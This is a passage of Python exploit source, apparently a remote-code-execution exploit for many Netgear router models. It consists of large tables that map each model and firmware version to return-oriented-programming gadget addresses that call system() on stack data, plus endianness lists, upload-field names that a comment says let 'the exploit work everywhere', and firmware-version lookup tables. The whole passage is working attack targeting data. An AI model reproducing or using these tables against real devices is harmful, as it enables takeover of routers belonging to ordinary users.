"1.0.2.10" : 0x4443CC,
"1.0.0.90" : 0x4443CC,
"1.0.0.68" : 0x44439C,
},
"R6300V2" : {
# 0) gadget: calls system($sp)
"1.0.4.36": 0x2a65c,
"1.0.4.34": 0x2a65c,
"1.0.4.32": 0x2A53C,
"1.0.4.28": 0x29fc0,
"1.0.4.24": 0x29ee8,
"1.0.4.8" : 0x295d0,
"1.0.4.6" : 0x290f0,
"1.0.4.2" : 0x28c10,
"1.0.3.30": 0x28c10,
"1.0.3.28": 0x286d4,
"1.0.3.26": 0x286d4,
"1.0.3.22": 0x28728,
"1.0.3.8" : 0x2862C,
"1.0.3.6CH" : 0x2bd0c,
"1.0.3.2" : 0x2862c,
"1.0.2.86": 0x27cfc,
"1.0.2.72": 0x27cfc,
"1.0.1.72": 0x27cd8,
},
"R6400" : {
# 0) gadget: calls system($sp)
"1.0.1.52" : 0x31994,
"1.0.1.50" : 0x31974,
"1.0.1.46" : 0x31884,
"1.0.1.44" : 0x31244,
"1.0.1.42" : 0x31204,
"1.0.1.36" : 0x30D3C,
"1.0.1.34" : 0x30ba8,
"1.0.1.26" : 0x30a5c,
"1.0.1.24" : 0x30a10,
"1.0.1.22" : 0x30904,
"1.0.1.20" : 0x30648,
"1.0.1.18" : 0x302fc,
"1.0.1.12" : 0x2fdf4,
"1.0.1.6": 0x2f6b4,
"1.0.0.26" : 0x2f6b4,
"1.0.0.24" : 0x2e96c,
"1.0.0.20" : 0x2e840,
"1.0.0.14" : 0x2e924,
},
"R6400V2" : {
# 0) gadget: calls system($sp)
"1.0.4.84" : 0xf9c4,
"1.0.4.82" : 0xf9c4,
"1.0.4.78" : 0xf980,
"1.0.3.66" : 0xf0b0,
"1.0.2.66" : 0xf0b0,
"1.0.2.62" : 0xf0b0,
"1.0.2.60" : 0xf038,
"1.0.2.56" : 0x32078,
"1.0.2.52" : 0x31718,
"1.0.2.50" : 0x314c4,
"1.0.2.46" : 0x31414,
"1.0.2.44" : 0x313e8,
"1.0.2.34" : 0x30e54,
"1.0.2.32" : 0x30e1c,
"1.0.2.14" : 0x30a94,
},
"R6700" : {
# 0) gadget: calls system($sp)
"1.0.2.8": 0x3cfa0,
"1.0.2.6": 0x38ff4,
"1.0.1.48" : 0x3818c,
"1.0.1.46" : 0x37e3c,
"1.0.1.44" : 0x37d1c,
"1.0.1.36" : 0x3779c,
"1.0.1.32" : 0x37704,
"1.0.1.26" : 0x371f8,
"1.0.1.22" : 0x361d0,
"1.0.1.20" : 0x35d8c,
"1.0.1.16" : 0x35750,
"1.0.1.14" : 0x2efac,
"1.0.0.26" : 0x2ed28,
"1.0.0.24" : 0x2ed28,
"1.0.0.2": 0x2d5c8,
},
"R6700V3" : {
# 0) gadget: calls system($sp)
"1.0.4.84" : 0xf9c4,
"1.0.4.82" : 0xf9c4,
"1.0.4.78" : 0xf980,
"1.0.3.66" : 0xf0b0,
"1.0.2.66" : 0xf0b0,
"1.0.2.62" : 0xf0b0,
"1.0.2.60" : 0xf038,
"1.0.2.56" : 0x32078,
"1.0.2.52" : 0x31718,
},
"R6900" : {
# 0) gadget: calls system($sp)
"1.0.2.8": 0x3cfa0,
"1.0.2.6": 0x38ff4,
"1.0.2.4": 0x38a3c,
"1.0.1.48" : 0x3818c,
"1.0.1.46" : 0x37e3c,
"1.0.1.44" : 0x37d1c,
"1.0.1.34" : 0x379e4,
"1.0.1.28" : 0x3794c,
"1.0.1.26" : 0x371f8,
"1.0.1.22" : 0x361d0,
"1.0.1.20" : 0x35d8c,
"1.0.1.16" : 0x35750,
"1.0.1.14" : 0x2efb4,
"1.0.0.4": 0x2ed30,
"1.0.0.2": 0x2ed30,
},
"R6900P" : {
# 0) gadget: calls system($sp)
"1.3.1.64" : 0x3a21c,
"1.3.1.44" : 0x39904,
"1.3.1.26" : 0x37114,
"1.3.0.20" : 0x37114,
"1.3.0.8": 0x36ff4,
"1.2.0.22" : 0x36ad0,
"1.0.1.14" : 0x369f4,
"1.0.0.58" : 0x367b8,
"1.0.0.46" : 0x3600c,
},
"R7000" : {
# 0) gadget: calls system($sp)
"0.96" : 0x2c990,
"1.22" : 0x2cc00,
"2.16" : 0x2cbec,
"2.19" : 0x2d04c,
"3.24" : 0x2d608,
"3.56" : 0x2d568,
"3.60" : 0x2de64,
"3.68" : 0x2d5c8,
"3.80" : 0x2d5c0,
"4.18" : 0x2ecac,
"4.28" : 0x2ecf4,
"4.30" : 0x2ed30,
"5.64" : 0x32520,
"5.70" : 0x32768,
"7.2": 0x32768,
"7.6": 0x329e8,
"7.10" : 0x32a44,
"7.12" : 0x36070,
"8.34" : 0x37528,
"9.6": 0x3763C,
"9.10" : 0x3794C,
"9.12" : 0x3794C,
"9.14" : 0x37B08,
"9.18" : 0x37B14,
"9.26" : 0x37d1c,
"9.28" : 0x37dbc,
"9.32" : 0x38198,
"9.34" : 0x38174,
"9.42" : 0x38978,
"9.60" : 0x38FF4,
"9.64" : 0x3C3C4,
"9.88" : 0x3cfb4,
"11.100" : 0x3d000,
},
"R7000P" : {
# 0) gadget: calls system($sp)
"1.3.1.64" : 0x3a21c,
"1.3.1.44" : 0x39904,
"1.3.1.26" : 0x37114,
"1.3.0.20" : 0x37114,
"1.3.0.8": 0x36ff4,
"1.2.0.22" : 0x36ad0,
"1.0.1.14" : 0x369f4,
"1.0.0.58" : 0x367b8,
"1.0.0.56" : 0x36658,
"1.0.0.50" : 0x35f40,
"1.0.0.46" : 0x3600c,
"1.0.0.44" : 0x35dc8,
},
"R7100LG" : {
# 0) gadget: calls system($sp)
"1.0.0.52" : 0x342d4,
"1.0.0.50" : 0x341e4,
"1.0.0.48" : 0x33ec0,
"1.0.0.46" : 0x33e80,
"1.0.0.42" : 0x339ac,
"1.0.0.40" : 0x3397c,
"1.0.0.38" : 0x338d8,
"1.0.0.36" : 0x338d8,
"1.0.0.34" : 0x3381c,
"1.0.0.32" : 0x33788,
"1.0.0.30" : 0x33520,
"1.0.0.28" : 0x3326c,
"1.0.0.24" : 0x32f30,
},
"R7300" : {
# 0) gadget: calls system($sp)
"1.0.0.74" : 0x33fb0,
"1.0.0.70" : 0x33fb8,
"1.0.0.68" : 0x33b70,
"1.0.0.62" : 0x33740,
"1.0.0.60" : 0x33588,
"1.0.0.56" : 0x33468,
"1.0.0.54" : 0x33458,
"1.0.0.52" : 0x331d0,
"1.0.0.46" : 0x32d20,
"1.0.0.44" : 0x32ae4,
"1.0.0.32" : 0x3267c,
"1.0.0.26" : 0x32628,
},
"R7850" : {
# 0) gadget: calls system($sp)
"1.0.5.48" : 0x36dd0,
"1.0.4.46" : 0x36da8,
"1.0.4.42" : 0x365b0,
},
"R7900" : {
# 0) gadget: calls system($sp)
"1.0.4.22" : 0x36da8,
"1.0.3.18" : 0x36da8,
"1.0.3.10" : 0x36c80,
"1.0.3.8": 0x365b0,
"1.0.2.16" : 0x36110,
"1.0.2.10" : 0x346d8,
"1.0.1.26" : 0x34028,
"1.0.1.18" : 0x33fe4,
"1.0.1.12" : 0x336f8,
"1.0.1.8": 0x332dc,
"1.0.1.4": 0x33058,
"1.0.0.10" : 0x3290c,
"1.0.0.8": 0x326ec,
"1.0.0.6": 0x2f48c,
"1.0.0.2": 0x2f470,
},
"R8000" : {
# 0) gadget: calls system($sp)
"1.0.4.46": 0x36dac,
"1.0.4.28": 0x365b0,
"1.0.4.18": 0x36110,
"1.0.4.12": 0x346d8,
"1.0.4.4" : 0x34310,
"1.0.4.2" : 0x34284,
"1.0.3.54": 0x34028,
"1.0.3.48": 0x33fe4,
"1.0.3.46": 0x33e84,
"1.0.3.36": 0x33ac4,
"1.0.3.32": 0x336f8,
"1.0.3.26": 0x332dc,
"1.0.3.4" : 0x33058,
"1.0.2.46": 0x3290c,
"1.0.2.44": 0x326f4,
"1.0.1.16": 0x2f370,
"1.0.0.110" : 0x2f2a0,
"1.0.0.108" : 0x2f2a8,
"1.0.0.102" : 0x2f2a0,
"1.0.0.100" : 0x2f0f0,
"1.0.0.90": 0x2f0e8,
"1.0.0.76": 0x2f0ac,
"1.0.0.74": 0x2f068,
"1.0.0.68": 0x2f0ac,
"1.0.0.46": 0x2f0ac,
},
"R8300" : {
# 0) gadget: calls system($sp)
"1.0.2.130" : 0x35B18,
"1.0.2.128" : 0x35B18,
"1.0.2.122" : 0x355fc,
"1.0.2.116" : 0x35258,
"1.0.2.106" : 0x34f40,
"1.0.2.100" : 0x34d38,
"1.0.2.94": 0x34d8c,
"1.0.2.86": 0x348b8,
"1.0.2.80": 0x348b8,
"1.0.2.48": 0x340b8,
},
"R8500" : {
# 0) gadget: calls system($sp)
"1.0.2.130" : 0x35b18,
"1.0.2.128" : 0x35B18,
"1.0.2.122" : 0x355fc,
"1.0.2.116" : 0x35258,
"1.0.2.106" : 0x34f40,
"1.0.2.100" : 0x34d38,
"1.0.2.94": 0x34d8c,
"1.0.2.86": 0x348b8,
"1.0.2.80": 0x348b8,
"1.0.2.64": 0x34104,
"1.0.2.54": 0x33f30,
"1.0.2.30": 0x33dd4,
"1.0.2.26": 0x33d9c,
"1.0.0.56": 0x33da8,
"1.0.0.52": 0x33da8,
"1.0.0.42": 0x33da8,
"1.0.0.28": 0x33da8,
},
"RS400" : {
# 0) gadget: calls system($sp)
"1.5.0.34" : 0x10120,
},
"WGR614V8" : {
# 0) gadget: calls system($sp+0x18)
"1.2.10" : 0x43B9C0,
"1.2.10NA" : 0x43B9C0,
"1.1.24" : 0x43A46C,
"1.1.24NA" : 0x43A46C,
"1.1.2": 0x438DAC,
"1.1.2NA": 0x438DCC,
"1.1.11" : 0x43A56C,
"1.1.11NA" : 0x43A56C,
"1.1.1NA": 0x438A8C,
"1.1.20" : 0x43A56C,
"1.1.20NA" : 0x43A56C,
},
"WGR614V9" : {
# 0) gadget: calls system($sp+0x30)
"1.2.32" : 0x450280,
"1.2.32NA" : 0x450290,
"1.2.30" : 0x450280,
"1.2.30NA" : 0x450290,
"1.2.24" : 0x44E730,
"1.2.24NA" : 0x44E750,
"1.2.6": 0x44C72C,
"1.2.6NA": 0x44C74C,
"1.2.2": 0x44D1BC,
"1.2.2NA": 0x44D1DC,
"1.0.18" : 0x450E3C,
"1.0.18NA" : 0x450D8C,
"1.0.15" : 0x44FD60,
"1.0.15NA" : 0x44FDA0,
"1.0.9NA": 0x44EE40,
},
"WGR614V10" : {
# 0) gadget: calls system($sp+0x30)
"1.0.2.66" : 0x480294,
"1.0.2.66NA" : 0x47FEEC,
"1.0.2.60" : 0x47F6CC,
"1.0.2.60NA" : 0x47FA94,
"1.0.2.58NA" : 0x47FA94,
"1.0.2.54" : 0x4775B4,
"1.0.2.54NA" : 0x4775B4,
"1.0.2.26" : 0x46A5E4,
"1.0.2.26NA" : 0x46A5F4,
"1.0.2.18" : 0x467D7C,
"1.0.2.18NA" : 0x467D8C,
},
"WGT624V4" : {
# 0) gadget: calls system($sp+0x18)
"2.0.13.2" : 0x42AFF4,
"2.0.13" : 0x42AFF4,
"2.0.13NA" : 0x42AFF4,
"2.0.12" : 0x42AFA4,
"2.0.12NA" : 0x42AFA4,
"2.0.6NA": 0x42A1F4,
},
"WN2500RP" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.30" : 0x44E780,
"1.0.0.26" : 0x44E780,
"1.0.0.24" : 0x44E780,
},
"WN2500RPV2" : {
# 0) gadget: calls system($sp+0x18)
"1.0.1.54" : 0x46335C,
"1.0.1.50" : 0x462AFC,
"1.0.1.46" : 0x460E54,
"1.0.1.42" : 0x460D44,
"1.0.0.30" : 0x44A804,
},
"WN3000RP" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s3 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.2.64" : [0x443048, 0x40EA14],
# 0) gadget: calls system($sp+0x18)
"1.0.1.36" : 0x4395e0,
"1.0.1.34" : 0x4395d0,
"1.0.1.18" : 0x438440,
"1.0.0.12" : 0x445370,
},
"WN3100RP" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.20" : 0x439750,
"1.0.0.16" : 0x439550,
"1.0.0.14" : 0x439290,
"1.0.0.6": 0x439400,
},
"WN3500RP" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.22" : [0x436BC4, 0x415C68],
"1.0.0.20" : [0x436BD4, 0x415C98],
"1.0.0.18" : [0x436BA4, 0x415C40],
"1.0.0.16" : [0x436C74, 0x415BF0],
"1.0.0.14" : [0x436E44, 0x415D90],
"1.0.0.12" : [0x436DC4, 0x415D90],
},
"WNCE3001" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.50" : 0x412c68,
"1.0.0.46" : 0x412c68,
"1.0.0.44" : 0x412c68,
"1.0.0.38" : 0x412bb8,
},
"WNDR3300" : {
# 0) gadget: calls system($sp+0x18)
"1.0.45" : 0x432C6C,
"1.0.45NA" : 0x432C6C,
"1.0.29" : 0x431EDC,
"1.0.29NA" : 0x431EDC,
"1.0.27NA" : 0x4389EC,
"1.0.26" : 0x4388CC,
"1.0.26NA" : 0x4388CC,
"1.0.23NA" : 0x43919C,
"1.0.14" : 0x438A8C,
"1.0.14NA" : 0x438A8C,
},
"WNDR3300V2" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.26" : 0x448020,
},
"WNDR3400" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.52" : [0x490950, 0x412DF8],
"1.0.0.50" : [0x4908C0, 0x412DF8],
# 0) gadget: calls system($sp+0x18)
"1.0.0.38" : 0x4B6880,
"1.0.0.34" : 0x4B6320,
},
"WNDR3400V2" : {
# 0) gadget: calls system($sp+0x78)
"1.0.0.54" : 0x44858C,
"1.0.0.52" : 0x44848C,
"1.0.0.38" : 0x44632C,
"1.0.0.34" : 0x44629C,
"1.0.0.16" : 0x4420DC,
"1.0.0.12" : 0x4420DC,
},
"WNDR3400V3" : {
# 0) gadget: calls system($sp+0x78)
"1.0.1.24" : 0x44C4BC,
"1.0.1.22" : 0x44BFFC,
"1.0.1.18" : 0x44BABC,
"1.0.1.16" : 0x44B7EC,
"1.0.1.14" : 0x44B53C,
"1.0.1.12" : 0x44929C,
"1.0.1.8": 0x448CEC,
"1.0.1.4": 0x448A2C,
"1.0.1.2": 0x448A2C,
"1.0.0.48" : 0x448A2C,
"1.0.0.46" : 0x448A2C,
"1.0.0.38" : 0x44717C,
"1.0.0.22" : 0x44626C,
"1.0.0.20" : 0x44623C,
},
"WNDR3700V3" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x25, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.42" : [0x610070+0x72c, 0x40BB10, 0x4206FC],
"1.0.0.38" : [0x60e3d0+0x71c, 0x40BA14, 0x41FB70],
"1.0.0.36" : [0x60d080+0x71c, 0x40B92C, 0x41F8B0],
"1.0.0.30" : [0x60d080+0x71c, 0x40B92C, 0x41F8B0],
"1.0.0.22" : [0x608f50+0x720, 0x40B868, 0x41F6A0],
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.18" : [0x490590, 0x490550],
},
"WNDR4000" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x25, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.2.10" : [0x6397f0+0x73c, 0x40BBC8, 0x420E6C],
"1.0.2.6": [0x60ffe0+0x72c, 0x40BAB4, 0x42066C],
"1.0.2.4": [0x60e040+0x720, 0x40B9B0, 0x41FB50],
"1.0.2.2": [0x60da60+0x720, 0x40B91C, 0x41F8E0],
"1.0.0.94" : [0x60da60+0x720, 0x40B91C, 0x41F8E0],
"1.0.0.90" : [0x60cfa0+0x71c, 0x40B8C0, 0x41F890],
"1.0.0.88" : [0x608f20+0x71c, 0x40B844, 0x41F680],
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.82" : [0x490860, 0x490820],
"1.0.0.66" : [0x48CDC0, 0x48CD80],
},
"WNDR4500" : {
# 0) gadget: calls system($sp+0x78)
"1.0.1.46" : 0x447D5C,
"1.0.1.40" : 0x44719C,
"1.0.1.38" : 0x4460ec,
"1.0.1.36" : 0x4460ec,
"1.0.1.20" : 0x4459fc,
"1.0.1.18" : 0x44584C,
"1.0.1.6": 0x4430dc,
"1.0.0.58" : 0x44257C,
"1.0.0.50" : 0x44257c,
"1.0.0.40" : 0x44257c,
},
"WNDR4500V2" : {
# 0) gadget: calls system($sp+0x78)
"1.0.0.72" : 0x45005C,
"1.0.0.68" : 0x44FF2C,
"1.0.0.64" : 0x44F99C,
"1.0.0.62" : 0x44F09C,
"1.0.0.60" : 0x44EE5C,
"1.0.0.56" : 0x44EE5C,
"1.0.0.54" : 0x44E0FC,
"1.0.0.50" : 0x44D6DC,
"1.0.0.42" : 0x44D6DC,
"1.0.0.36" : 0x4467EC,
"1.0.0.26" : 0x44621C,
},
"WNR834BV2" : {
# 0) gadget: calls system($sp+0x18)
"2.1.13" : 0x43902C,
"2.1.13NA" : 0x43902C,
"2.0.8": 0x43894C,
"2.0.8NA": 0x43894C,
"1.0.32" : 0x43799C,
"1.0.32NA" : 0x43799C,
},
"WNR1000V3" : {
# 0) gadget: calls system($sp+0x18)
"1.0.2.72" : 0x460060,
"1.0.2.72NA" : 0x460060,
"1.0.2.68" : 0x45F604,
"1.0.2.68NA" : 0x45F604,
"1.0.2.62" : 0x454BB4,
"1.0.2.62NA" : 0x454BB4,
"1.0.2.60" : 0x454BB4,
"1.0.2.60NA" : 0x454BB4,
"1.0.2.54" : 0x450ED0,
"1.0.2.54NA" : 0x450ED0,
"1.0.2.28" : 0x4448A0,
"1.0.2.28NA" : 0x4448A0,
"1.0.2.26" : 0x4446A0,
"1.0.2.26NA" : 0x4446A0,
"1.0.2.18" : 0x442D50,
"1.0.2.18NA" : 0x442D50,
"1.0.2.4": 0x440F70,
},
"WNR2000V2" : {
# 0) gadget: calls system($sp+0x78)
"1.2.0.8": 0x434D04,
"1.2.0.8NA": 0x434CF4,
"1.2.0.6": 0x433F34,
"1.2.0.6NA": 0x433F34,
"1.2.0.4": 0x433EA4,
"1.2.0.4NA": 0x433E94,
# 0) gadget: calls system($sp+0x18)
"1.0.0.40" : 0x4446A0,
"1.0.0.40NA" : 0x4446A0,
"1.0.0.35" : 0x43F340,
"1.0.0.34" : 0x43F340,
"1.0.0.34NA" : 0x43F340,
},
"WNR3500" : {
# 0) gadget: calls system($sp)
"1.0.36NA" : 0x2CBD0,
"1.0.30" : 0x2a714,
"1.0.29NA" : 0x2a72c,
"1.0.22" : 0x2a4c4,
"1.0.22NA" : 0x2a4fc,
"1.0.15NA" : 0x2a3c8,
"1.0.10NA" : 0x2a1f4,
},
"WNR3500V2" : {
# 0) gadget: calls system($sp+0xac)
"1.2.2.28" : 0x435FA0,
"1.2.2.28NA" : 0x435F60,
# 0) gadget: calls system($sp+0x18)
"1.0.2.14" : 0x48D1EC,
"1.0.2.14NA" : 0x48CFAC,
"1.0.2.10" : 0x484D5C,
"1.0.2.10NA" : 0x484B1C,
"1.0.0.64" : 0x4350DC,
"1.0.0.64NA" : 0x4350DC,
},
"WNR3500L" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# 2) gadget: set $a0 to $sp+0x40, and calls memset
"1.2.2.48NA" : [0x5740f0+0x630, 0x409830, 0x409D30],
"1.2.2.44" : [0x5740f0+0x630, 0x409830, 0x409D30],
"1.2.2.44NA" : [0x5740f0+0x630, 0x409830, 0x409D30],
"1.2.2.40" : [0x568490+0x618, 0x4095AC, 0x409AB4],
"1.2.2.40NA" : [0x568360+0x618, 0x4095AC, 0x409AB4],
"1.2.2.30" : [0x568490+0x618, 0x4095AC, 0x409AB4],
"1.2.2.30NA" : [0x568360+0x618, 0x4095AC, 0x409AB4],
# 0) gadget: calls system($sp+0x18)
"1.0.2.50" : 0x4A6574,
"1.0.2.50NA" : 0x4A6334,
"1.0.2.26" : 0x4A3B7C,
"1.0.2.26NA" : 0x4A392C,
"1.0.0.88" : 0x438564,
"1.0.0.88NA" : 0x438564,
"1.0.0.86" : 0x438564,
"1.0.0.86NA" : 0x438564,
},
"WNR3500LV2" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x80 and calls $t9
"1.2.0.56" : [0x4458F8, 0x4A6EDC],
"1.2.0.54" : [0x4456C8, 0x4A6BEC],
"1.2.0.50" : [0x445578, 0x4A68EC],
"1.2.0.48" : [0x445268, 0x4A4814],
"1.2.0.46" : [0x444BF8, 0x4A4098],
"1.2.0.44" : [0x445038, 0x4A3C18],
"1.2.0.40" : [0x443C28, 0x4A2808],
"1.2.0.38" : [0x443C18, 0x4A2718],
"1.2.0.34" : [0x4436F8, 0x4A1674],
"1.2.0.32" : [0x4436F8, 0x4A1674],
"1.2.0.28" : [0x4436F8, 0x4A1684],
"1.2.0.26" : [0x4436F8, 0x4A1684],
"1.2.0.20" : [0x43A8B8, 0x492D00],
"1.2.0.18" : [0x43A8B8, 0x492D00],
"1.2.0.16" : [0x43A8B8, 0x492D00],
"1.0.0.14" : [0x43758C, 0x48A850],
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.10" : [0x4371FC, 0x4177B0],
},
"XR300" : {
# 0) gadget: calls system($sp)
"1.0.3.38" : 0x33258,
"1.0.3.34" : 0x33258,
"1.0.3.26" : 0x329b0,
"1.0.2.24" : 0x329a4,
"1.0.2.18" : 0x32a84,
"1.0.1.4": 0x325dc,
},
}
# Devices that are big endian
big_endian_devices = ["D6220", "D6300", "D6400", "D7000V2", "DGN2200", "DGN2200M", "DGN2200V4", "DGND3700", "MBM621",
"MBRN3000", "WGT624V4", "WNCE3001"]
# The argument name for the file upload. If not listed, it's mtenFWUpload
# It would be real nice if Netgear could standardize on how they update, so I could
# make the exploit work everywhere without handling a dozen corner cases.
argument_names = {
"EX3700" : {
"1.0.0.22" : "update_file",
"1.0.0.24" : "update_file",
"1.0.0.26" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.34" : "update_file",
"1.0.0.44" : "update_file",
"1.0.0.46" : "update_file",
"1.0.0.48" : "update_file",
"1.0.0.50" : "update_file",
"1.0.0.58" : "update_file",
"1.0.0.62" : "update_file",
"1.0.0.64" : "update_file",
"1.0.0.68" : "update_file",
"1.0.0.70" : "update_file",
"1.0.0.72" : "update_file",
"1.0.0.76" : "update_file",
"1.0.0.78" : "update_file",
},
"EX3800" : {
"1.0.0.26" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.34" : "update_file",
"1.0.0.44" : "update_file",
"1.0.0.46" : "update_file",
"1.0.0.48" : "update_file",
"1.0.0.50" : "update_file",
"1.0.0.58" : "update_file",
"1.0.0.62" : "update_file",
"1.0.0.64" : "update_file",
"1.0.0.68" : "update_file",
"1.0.0.70" : "update_file",
"1.0.0.72" : "update_file",
"1.0.0.76" : "update_file",
"1.0.0.78" : "update_file",
},
"EX3920" : {
"1.0.0.26" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.34" : "update_file",
"1.0.0.44" : "update_file",
"1.0.0.46" : "update_file",
"1.0.0.48" : "update_file",
"1.0.0.50" : "update_file",
"1.0.0.58" : "update_file",
"1.0.0.62" : "update_file",
"1.0.0.64" : "update_file",
"1.0.0.68" : "update_file",
"1.0.0.70" : "update_file",
"1.0.0.72" : "update_file",
"1.0.0.76" : "update_file",
"1.0.0.78" : "update_file",
},
"EX6000" : {
"1.0.0.10" : "update_file",
"1.0.0.20" : "update_file",
"1.0.0.24" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.30" : "update_file",
"1.0.0.32" : "update_file",
"1.0.0.38" : "update_file",
},
"EX6100" : {
"1.0.2.6": "update_file",
"1.0.1.36" : "update_file",
"1.0.2.16" : "update_file",
"1.0.2.18" : "update_file",
"1.0.2.24" : "update_file",
},
"EX6120" : {
"1.0.0.4": "update_file",
"1.0.0.8": "update_file",
"1.0.0.14" : "update_file",
"1.0.0.16" : "update_file",
"1.0.0.26" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.30" : "update_file",
"1.0.0.32" : "update_file",
"1.0.0.36" : "update_file",
"1.0.0.40" : "update_file",
"1.0.0.42" : "update_file",
"1.0.0.46" : "update_file",
"1.0.0.48" : "update_file",
},
"EX6130" : {
"1.0.0.12" : "update_file",
"1.0.0.16" : "update_file",
"1.0.0.20" : "update_file",
"1.0.0.22" : "update_file",
"1.0.0.24" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.30" : "update_file",
},
"EX6150" : {
"1.0.0.14" : "updateFile",
"1.0.0.16" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.32" : "update_file",
"1.0.0.34" : "update_file",
"1.0.0.42" : "update_file",
},
"EX6200" : {
"1.0.3.68" : "update_file",
"1.0.3.74" : "update_file",
"1.0.3.76" : "update_file",
"1.0.3.82" : "update_file",
"1.0.3.88" : "update_file",
"1.0.3.90" : "update_file",
},
"EX6920" : {
"1.0.0.4": "update_file",
"1.0.0.8": "update_file",
"1.0.0.14" : "update_file",
"1.0.0.16" : "update_file",
"1.0.0.26" : "update_file",
"1.0.0.28" : "update_file",
"1.0.0.30" : "update_file",
"1.0.0.32" : "update_file",
"1.0.0.36" : "update_file",
"1.0.0.40" : "update_file",
},
"EX7000" : {
"1.0.0.30" : "updateFile",
"1.0.0.32" : "updateFile",
"1.0.0.36" : "update_file",
"1.0.0.38" : "update_file",
"1.0.0.42" : "update_file",
"1.0.0.50" : "update_file",
"1.0.0.56" : "update_file",
"1.0.0.58" : "update_file",
"1.0.0.62" : "update_file",
"1.0.0.66" : "update_file",
"1.0.1.78" : "update_file",
"1.0.1.80" : "update_file",
"1.0.1.84" : "update_file",
},
"WN2500RPV2" : {
"1.0.1.42" : "update_file",
"1.0.1.46" : "update_file",
"1.0.1.50" : "update_file",
"1.0.1.54" : "update_file",
},
}
# A mapping of human friendly versions to the versions returned by currentsetting.htm
firmware_version_to_human_version = {
"AC1450" : {
"V1.0.0.36_10.0.17" : "1.0.0.36",
"V1.0.0.34_10.0.16" : "1.0.0.34",
"V1.0.0.22_1.0.10": "1.0.0.22",
"V1.0.0.14_1.0.6" : "1.0.0.14",
"V1.0.0.8_1.0.4": "1.0.0.8",
"V1.0.0.6_1.0.3": "1.0.0.6",
},
"D6220" : {
"V1.0.0.52_1.0.52" : "1.0.0.52",
"V1.0.0.48_1.0.48" : "1.0.0.48",
"V1.0.0.46_1.0.46" : "1.0.0.46",
"V1.0.0.44_1.0.44" : "1.0.0.44",
"V1.0.0.40_1.0.40" : "1.0.0.40",
"V1.0.0.36_1.0.36" : "1.0.0.36",
"V1.0.0.34_1.0.34" : "1.0.0.34",
"V1.0.0.32_1.0.32" : "1.0.0.32",
"V1.0.0.28_1.0.28" : "1.0.0.28",
"V1.0.0.24_1.0.24" : "1.0.0.24",
"V1.0.0.22_1.0.22" : "1.0.0.22",
"V1.0.0.16_1.0.16" : "1.0.0.16",
},
"D6300" : {
"V1.0.0.102_1.0.102" : "1.0.0.102",
"V1.0.0.96_1.1.96" : "1.0.0.96",
"V1.0.0.90_1.0.90" : "1.0.0.90",
"V1.0.0.88-1.0.88" : "1.0.0.88",
"V1.0.0.76_1.0.76" : "1.0.0.76",
"V1.0.0.72_1.0.72" : "1.0.0.72",
"V1.0.0.42_1.0.42" : "1.0.0.42",
"V1.0.0.30_1.0.30" : "1.0.0.30",
"V1.0.0.24_1.0.24" : "1.0.0.24",
"V1.0.0.16_1.0.16" : "1.0.0.16",
},
"D6400" : {
"V1.0.0.88_1.0.88" : "1.0.0.88",
"V1.0.0.86_1.0.86" : "1.0.0.86",
"V1.0.0.82_1.0.82" : "1.0.0.82",
"V1.0.0.80_1.0.80" : "1.0.0.80",
"V1.0.0.78_1.0.78" : "1.0.0.78",
"V1.0.0.74_1.0.74" : "1.0.0.74",
"V1.0.0.70_1.0.70" : "1.0.0.70",
"V1.0.0.68_1.0.68" : "1.0.0.68",
"V1.0.0.66_1.0.66" : "1.0.0.66",
"V1.0.0.60_1.0.60" : "1.0.0.60",
"V1.0.0.58_1.0.58" : "1.0.0.58",
"V1.0.0.56_1.0.56" : "1.0.0.56",
"V1.0.0.54_1.0.54" : "1.0.0.54",
"V1.0.0.52_1.0.52" : "1.0.0.52",
"V1.0.0.44_1.0.44" : "1.0.0.44",
"V1.0.0.38_1.1.38" : "1.0.0.38",
"V1.0.0.34_1.3.34" : "1.0.0.34",
"V1.0.0.22_1.0.22" : "1.0.0.22",
},
"D7000V2" : {
"V1.0.0.56_1.0.1" : "1.0.0.56",
"V1.0.0.53_1.0.2" : "1.0.0.53",
"V1.0.0.52_1.0.1" : "1.0.0.52",
"V1.0.0.51_1.0.1" : "1.0.0.51",
"V1.0.0.47_1.0.1" : "1.0.0.47",
"V1.0.0.45_1.0.1" : "1.0.0.45",
"V1.0.0.44_1.0.1" : "1.0.0.44",
"V1.0.0.40_1.0.1" : "1.0.0.40",
"V1.0.0.38_1.0.1" : "1.0.0.38",
},
"D8500" : {
